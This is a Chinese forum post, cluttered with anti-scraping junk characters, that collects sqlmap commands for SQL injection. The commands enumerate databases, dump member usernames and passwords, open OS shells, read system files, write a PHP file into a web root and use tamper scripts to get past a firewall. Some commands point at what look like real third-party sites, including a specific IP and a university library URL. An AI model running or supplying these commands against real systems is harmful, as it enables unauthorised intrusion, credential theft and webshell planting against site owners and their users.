找回密码
 立即注册
查看: 2430|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap
0 x0 `" ~$ q9 t3 e8 m
% o) w" }- o2 x# zupdate :::::>     in the folder   after  execute    following   order : svn update
) ^( j: S# e; R
6 K" [0 F0 t# M0 d( }$ j% jsqlmap.py -r 1.txt --current-db: P2 S, o3 Y- f' k1 U' X
' a6 L; O1 u& [
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”* C4 L6 Q0 @5 r
, e* G) T- r9 X; A  S! t
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) ! M" i9 ?8 c: l+ O7 I1 B- |
猜解数据库
* K" r. t3 B. z+ G- v./sqlmap.py -u "injection-url" --dbs3 W7 h" p2 F3 x; Z
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
- N( @  c; \5 W! k# H
: w) o) g- \/ P' n! _1 Y  K- ?猜解表名
; u# c3 n3 Z  I./sqlmap.py -u "injection-url" -D database_name --tables
* h8 v* E1 t/ g; V8 ~3 X% F. \9 U
( ?7 T, O5 p2 K5 w; T8 isqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
' h( t) c" l5 Gsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
5 s; M* d- s* Q3 e+ d
9 w7 S  t" T. e/ g+ G0 I) @sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump- \3 j8 `: A. b
; [$ B1 W* Q1 d0 X, _
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py": a( I& g2 M- n1 n2 ~0 q
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
' \) ^& i$ c' N  Esqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
, S- z, E: J8 i+ }) w8 I  [2 Isqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"  i8 d$ t+ i+ V3 l: |$ h
1 b' S2 P1 P* F& t( b
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"# b+ W/ w7 @9 a& F
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
. Y/ B* ^$ W4 k$ i9 M1 U5 _4 u/ Z$ Vsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
( Z3 Y+ Z* f" }" P0 K6 lsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
: e; V$ d6 O$ n+ i% Isqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump3 E8 }, L, `% {3 E+ b2 C
, n/ b) f! T4 t5 i: X
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
9 J! h5 [. ~( v4 T+ c' z5 Wsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
" J2 F8 z' G. C$ B: l% M1 w
9 z. |$ j) b$ G% Z& B/ u$ ksqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
$ S4 m; g. N- o- y+ m' O猜解列名
! ~2 {; ^" [) x0 y7 O& J' e./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
( I* H: Z) z0 J" `* D" T) ?2 Y
# g: W: d' r5 M2 g+ f; Z( I$ Ysqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
; k8 K# n4 K6 y4 q6 [  o7 F/ Wsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
; Z) t) W4 G1 Wsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"$ R. {" ?% r! c/ Z! r
% ~3 h- B  ~9 G2 M/ P
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
5 p3 F! O# A! u9 l  s' M&submit=Go* D  Q7 a. H& u0 d+ F
猜解值
# s2 b9 ^- L) I  u4 x2 d) S$ f6 S./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
$ {/ ?1 _5 |5 y- X2 Y2 ~========================================================
0 s8 x# ~& }4 G1 X  u+ p0 q# [' X搜索表名中包括mana字符的
% Y9 J# r& n" N1 x  V/sqlmap.py -u "injection-url" -T mana --search
* L, b# u+ C0 C返回一个交互式sql shell
' V3 h2 f8 Q0 z; {! R$ ~/sqlmap.py -u "injection-url" --sql-shell
. ^; ?1 y9 D& D% C1 O读取指定文件(需权限)
0 X( n4 \3 @5 b% H# _/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
% x  j! a7 y5 E# A, c) n6 W$ C查看当前 用户 及 数据库 , Q) n$ e- y5 x1 C, b+ A
/sqlmap.py -u "injection-url" --current-user --current-db
; l5 W$ S) ^4 `: A  W" [( D/ G本地文件 写入 远程目标绝对路径
. S" |$ {; j8 D  U7 \, ]/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径9 _5 L/ m! j6 ]- B8 g* [
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" 0 w% p7 K+ S2 s

6 C7 E( |; z% J' m, W% qsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径" l4 G4 a- Y  O2 g
查看某用的权限! A9 x' W# L3 B; u5 V% g
/sqlmap.py -u "injection-url" --privileges -U root
6 \' t5 N2 u9 b" a  e2 \查看当前用户是否为dba4 p; K: r" C& D! w+ F2 T0 i
/sqlmap.py -u "injection-url" --is-dba/ W! d/ x0 X" [" ~
读取所有数据库用户或指定数据库用户的密码$ }) k1 H5 I, N7 Z  Z
sqlmap.py -r 1.txt --users --passwords
- D9 n4 _& Z# }0 @1 P7 rsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
% C* [; w( K& `# w2 v! Y' j/ `
& P- u/ l' p2 z7 K( i/sqlmap.py -u "injection-url" --passwords -U root
) g- ~: h+ `& W; w0 C  P; j9 _( r% F, x: F
--start&&--stop 与 --first&&--last 的区别
4 v( X- Y& z1 s) X/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……). M0 x* K# `- h! |+ j
/ L- B$ j6 Q9 ]$ y# a4 \3 F2 s
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)6 u0 [1 n, e; P( v
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
' B7 R, }% S+ K6 L9 @& j/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
& V* t) x& E; G+ @8 w
' I/ F+ c! l& G; {7 N5 @# ?# Y# f执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)0 a. U. d4 N8 i1 x' a9 H
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
9 Z( p) I% U7 A0 L  I- |) s6 S! g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表